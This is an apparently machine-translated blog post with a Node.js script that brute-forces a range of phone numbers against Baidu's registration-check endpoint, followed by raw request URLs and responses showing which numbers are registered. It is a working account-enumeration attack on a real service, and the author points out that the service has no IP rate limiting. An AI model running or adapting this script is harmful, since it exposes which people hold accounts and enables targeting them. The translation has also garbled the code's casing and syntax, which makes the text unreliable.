/** * created by **** on 2014/9/29. */' use strict '; var request = require ("request");var base = "1803283";var phone = ""; for (var i=1000; i<9999; i++) { phone = base + i; var url = "https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone= "+phone+" &exchange= 0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWL "; donereq (URL);} Function donereq (URL) { request.get (url, {}, function (Err, resp, body) { if (err) { console.info (ERR); } else { &nbSp; console.info (URL); console.info (body); } });}
If you want to see the other mobile phone number segment, directly replace the base can be;
Principle:
In the registration of Baidu account, enter the mobile phone number, Baidu will indicate whether the mobile phone number has been registered
Just get a node script to help big guys run, see your mobile phone number registration No, Baidu even did not do IP access restrictions
Test Address Https://passport.baidu.com/v2/?reg&u=http%3A%2F%2Fdeveloper.baidu.com%2Fuser%2Freg
The results are as follows: 0 is not registered, 13001 is registered, 400001 has been bound
Https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3 &tt=1411979255172&phone=18032839986&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlbd __CBS__XJ4SWL ({"Errinfo":{ "no": "0" }, "Data": {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839988&EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": { "No": "0" }, "Data": {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839990& EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{ "no": "0" }, "Data": {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839991&exchange=0&isexchangeable=1&callback=bd__cbs__ XJ4SWLBD__CBS__XJ4SWL ({"Errinfo":{ "no": "0" }, "Data": {}}) https:// passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt= 1411979255172&phone=18032839992&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlbd__cbs__ XJ4SWL ({"Errinfo":{ "no": "0" }, "Data": {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839993&EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": { "No": "0" }, "Data": {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839995& Exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlBD__CBS__XJ4SWL ({"Errinfo":{ "no": "0" }, "Data": {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839996&EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": { "No": "0" }, "Data": {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839997& EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{ "no": "0" }, "Data": {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839994& EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{ "no": " 400001 " }, " Data ": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172 &PHONE=18032839998&EXCHANGE=0&ISEXCHANGEABLE=1&CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({" Errinfo ":{ " no ": " " }, " Data ": {}})
See if the phone number is registered Baidu developer